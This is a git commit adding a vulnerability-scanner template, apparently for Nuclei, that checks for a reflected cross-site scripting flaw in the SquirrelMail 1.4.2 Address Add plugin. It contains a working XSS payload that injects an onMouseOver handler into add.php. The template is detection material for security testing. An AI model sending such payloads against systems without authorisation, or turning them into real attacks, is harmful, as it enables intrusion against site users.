Create squirrelmail-vkeyboard-xss.yaml

patch-1
Dhiyaneshwaran 2021-11-15 23:44:51 +05:30 committed by GitHub
parent 89501ea414
commit c003036a7e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 29 additions and 0 deletions

View File

@ -0,0 +1,29 @@
id: squirrelmail-vkeyboard-xss
info:
name: SquirrelMail 1.4.2 Address Add Plugin - 'add.php' Cross-Site Scripting
author: dhiyaneshDk
severity: medium
reference: https://www.exploit-db.com/exploits/26305
description: SquirrelMail Address Add Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
tags: xss,squirrelmail
requests:
- method: GET
path:
- '{{BaseURL}}/plugins/address_add/add.php?first=HOVER%20ME!%22%20onMouseOver=%22alert('document.domain');'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "alert('document.domain')"
part: body
- type: word
words:
- "text/html"
part: header